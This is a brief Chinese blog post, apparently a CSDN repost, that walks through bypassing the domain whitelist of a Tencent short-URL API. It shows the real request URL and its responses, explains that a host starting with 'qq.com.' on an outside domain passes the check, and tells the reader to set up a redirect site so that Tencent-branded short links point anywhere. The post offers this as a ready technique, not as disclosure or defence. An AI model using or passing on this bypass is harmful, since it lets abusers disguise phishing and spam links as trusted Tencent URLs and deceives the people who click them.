腾讯短网址突破白名单

请求地址 https://vip.video.qq.com/fcgi-bin/comm_cgi?name=short_url&need_short_url=1&url=长链接
返回是
QZOutputJson=({
“msg” : “非白名单域名!”,
“qrcode” : “”,
“ret” : -11013,
“short_url” : “”
}
);

但是你把长链接加上www.qq.com

https://vip.video.qq.com/fcgi-bin/comm_cgi?name=short_url&need_short_url=1&url=http://www.qq.com.xxxx.com.cn/
返回是
QZOutputJson=({
"msg" : "ok",
"qrcode" : "",
"ret" : 0,
"short_url" : "https://url.cn/xxxxx"
}
);

得出结论,找一个域名解析前缀为a.qq.com
比如二级域名 a.qq.com.xxxxxxx.cn
用这个站点搭建一个站点负责跳转

请求 https://vip.video.qq.com/fcgi-bin/comm_cgi?name=short_url&need_short_url=1&url=http://a.qq.com.xxxxxxx.cn/?url=http://www.xxxxxx.com.cn/

http://a.qq.com.xxxxxxx.cn/?url=http://www.xxxxx.com.cn/

只需要获取到GET的url参数名 让后直接301跳即可

猜你喜欢

转载自blog.csdn.net/qq_37428797/article/details/106290420